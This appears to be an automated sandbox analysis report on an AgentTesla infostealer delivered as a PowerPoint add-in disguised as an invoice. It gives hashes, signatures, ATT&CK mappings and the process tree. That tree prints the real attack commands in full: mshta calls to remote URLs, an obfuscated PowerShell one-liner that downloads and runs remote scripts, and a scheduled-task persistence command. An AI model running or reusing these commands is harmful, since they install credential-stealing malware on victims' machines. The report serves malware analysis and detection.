Analysis

  • max time kernel
    128s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    22-10-2021 04:59

General

  • Target

    Invoice 140923.ppam

  • Size

    8KB

  • MD5

    5d1279434725ccad24da08658d073a23

  • SHA1

    5bd8e406df2a5547bf74fefde17a6a7e4b51358e

  • SHA256

    b56a00462c6fdfd3fc68869ecda35f6832bee4cdcb81e06bf85b3e4c3336fd77

  • SHA512

    9977a2a96b7aa32d4268423adef7b5cee2ae36e7aa6c42a886f1003c845cf71cccd14b6d3e264e0b637a9a2f2f19236d885c75cf60b9d3a5f2a8598a6ddc68f6

Malware Config

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • AgentTesla Payload 3 IoCs
  • Blocklisted process makes network request 11 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
  • Adds Run key to start application 2 TTPs 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Invoice 140923.ppam" /ou ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3612
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://www.bitly.com/wdowdpowdlwdprufhjwijjd
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:2188
      • C:\Windows\System32\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im winword.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4636
      • C:\Windows\System32\taskkill.exe
        "C:\Windows\System32\taskkill.exe" /f /im Excel.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:4788
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_b0f3ef832df447e0b4540d1b55406b51.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://92c49223-b37f-4157-904d-daf4679f14d5.usrfiles.com/ugd/92c492_1bc433a276794dd08a29271d95e2f910.txt').GetResponse().GetResponseStream()).ReadToend());
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2300
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
          4⤵
          • Drops file in Drivers directory
          • Accesses Microsoft Outlook profiles
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2036
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1241ci5p\1241ci5p.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4068
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2B13.tmp" "c:\Users\Admin\AppData\Local\Temp\1241ci5p\CSCD51FD894AC144AEAA2F987FF16747D16.TMP"
            5⤵
              PID:2172
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            4⤵
            • Drops file in Drivers directory
            • Accesses Microsoft Outlook profiles
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: SetClipboardViewer
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • outlook_office_path
            • outlook_win_path
            PID:3204
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""Bluefibonashi"" /F /tr ""\""MsHtA""\""http://1230948%1230948@kumakahchachi.blogspot.com/p/15.html\""
          3⤵
          • Creates scheduled task(s)
          PID:1460
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
          dw20.exe -x -s 2912
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3440

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Registry Run Keys / Startup Folder

    1
    T1060

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    1
    T1112

    Credential Access

    Credentials in Files

    3
    T1081

    Discovery

    System Information Discovery

    3
    T1082

    Query Registry

    2
    T1012

    Collection

    Data from Local System

    3
    T1005

    Email Collection

    1
    T1114

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\1241ci5p\1241ci5p.dll
      MD5

      c387386dec8391ecf3027d668c487923

      SHA1

      984444fbd377dbcffe8ba2761de24ddd0cc6fac4

      SHA256

      1ae5d2f24f53d966cee4e62ab3a2fe92bee19ba85cab4165b3200af2fc9c39de

      SHA512

      bad92c568cb6b92719483290b459e24ffb5d44dae881e85064e62da6a857bd355ad0413cc2957f3d6a4b2eee1f62e4f43b89dcf17879a63af92a1f5df6cc483b

    • C:\Users\Admin\AppData\Local\Temp\RES2B13.tmp
      MD5

      c1ca2418445211426574599aa341f3e3

      SHA1

      af5db3ed03a9aa37bd5ad8dd2dd7e75eb3c94a40

      SHA256

      17a5e183c9e68e2f781cba0f56c5481914fb69e55abebb108baf3499150675aa

      SHA512

      d791a5199a016267bee9c41e48416e28a3f8fac2a866ec430f7b11c54b0c50fef5e3e85f7428947573721358fd6ac2005202eb22c33f941d4205868e0a0fd322

    • C:\Windows\system32\drivers\etc\hosts
      MD5

      5b2d17233558878a82ee464d04f58b59

      SHA1

      47ebffcad0b4c358df0d6a06ef335cb6aab0ab20

      SHA256

      5b036588bb4cad3de01dd04988af705da135d9f394755080cf9941444c09a542

      SHA512

      d2aec9779eb8803514213a8e396b2f7c0b4a6f57de1ee84e9db0343ee5ff093e26bb70e0737a6681e21e88898ef5139969ff0b4b700cb6727979bd898fdbc85b

    • \??\c:\Users\Admin\AppData\Local\Temp\1241ci5p\1241ci5p.0.cs
      MD5

      e03b1e7ba7f1a53a7e10c0fd9049f437

      SHA1

      3bb851a42717eeb588eb7deadfcd04c571c15f41

      SHA256

      3ca2d456cf2f8d781f2134e1481bd787a9cb6f4bcaa2131ebbe0d47a0eb36427

      SHA512

      a098a8e2a60a75357ee202ed4bbe6b86fa7b2ebae30574791e0d13dcf3ee95b841a14b51553c23b95af32a29cc2265afc285b3b0442f0454ea730de4d647383f

    • \??\c:\Users\Admin\AppData\Local\Temp\1241ci5p\1241ci5p.cmdline
      MD5

      a83664a824d1bbad36c9b129c994107a

      SHA1

      ef12ce920e87c2ecb624cdcb024e045de8c575f8

      SHA256

      2011b1d55fb39b05b420ea8c13787a5a9ee3ac79ec918c336cc26f669e1506ac

      SHA512

      7b4a316f815ced28db84c494ebf939d9b824bb5cbc224e3ff5a0b91ae4173a67d846e4312d07fee9872d1beaa4f3fa08f7d495d212c8987f3348f70715427b0f

    • \??\c:\Users\Admin\AppData\Local\Temp\1241ci5p\CSCD51FD894AC144AEAA2F987FF16747D16.TMP
      MD5

      aa68a47ab2b40d3fb10ed97e9c72015c

      SHA1

      99037f728e0a4c560c04444475b70e593fb545a4

      SHA256

      6787a5493494d3f5d0ade491e5bef8873a343843318d85cf5b42acc567d95213

      SHA512

      ea5f713046ee276896504d295de71bbb5c74e40f3e8acc8a4da8f123e93003eb7ad96003138ea5bc103a85f712673d8f0981e65a8a7a0113650374970240b4ca

    • memory/1460-301-0x0000000000000000-mapping.dmp
    • memory/2036-407-0x0000000005640000-0x0000000005B3E000-memory.dmp
      Filesize

      5.0MB

    • memory/2036-325-0x000000000043752E-mapping.dmp
    • memory/2036-334-0x0000000005640000-0x0000000005B3E000-memory.dmp
      Filesize

      5.0MB

    • memory/2172-386-0x0000000000000000-mapping.dmp
    • memory/2188-263-0x0000000000000000-mapping.dmp
    • memory/2300-302-0x0000000000000000-mapping.dmp
    • memory/2300-318-0x0000016879E86000-0x0000016879E88000-memory.dmp
      Filesize

      8KB

    • memory/2300-316-0x0000016879E80000-0x0000016879E82000-memory.dmp
      Filesize

      8KB

    • memory/2300-317-0x0000016879E83000-0x0000016879E85000-memory.dmp
      Filesize

      8KB

    • memory/3204-409-0x0000000004CD0000-0x00000000051CE000-memory.dmp
      Filesize

      5.0MB

    • memory/3204-392-0x000000000043752E-mapping.dmp
    • memory/3204-398-0x0000000004CD0000-0x00000000051CE000-memory.dmp
      Filesize

      5.0MB

    • memory/3440-303-0x0000000000000000-mapping.dmp
    • memory/3612-120-0x0000024175E50000-0x0000024175E52000-memory.dmp
      Filesize

      8KB

    • memory/3612-128-0x00007FFB4EDD0000-0x00007FFB4EDE0000-memory.dmp
      Filesize

      64KB

    • memory/3612-116-0x00007FFB51920000-0x00007FFB51930000-memory.dmp
      Filesize

      64KB

    • memory/3612-117-0x00007FFB51920000-0x00007FFB51930000-memory.dmp
      Filesize

      64KB

    • memory/3612-248-0x00000241074D0000-0x00000241074D4000-memory.dmp
      Filesize

      16KB

    • memory/3612-129-0x00007FFB4EDD0000-0x00007FFB4EDE0000-memory.dmp
      Filesize

      64KB

    • memory/3612-118-0x00007FFB51920000-0x00007FFB51930000-memory.dmp
      Filesize

      64KB

    • memory/3612-122-0x0000024175E50000-0x0000024175E52000-memory.dmp
      Filesize

      8KB

    • memory/3612-119-0x0000024175E50000-0x0000024175E52000-memory.dmp
      Filesize

      8KB

    • memory/3612-115-0x00007FFB51920000-0x00007FFB51930000-memory.dmp
      Filesize

      64KB

    • memory/3612-121-0x00007FFB51920000-0x00007FFB51930000-memory.dmp
      Filesize

      64KB

    • memory/4068-383-0x0000000000000000-mapping.dmp
    • memory/4636-299-0x0000000000000000-mapping.dmp
    • memory/4788-300-0x0000000000000000-mapping.dmp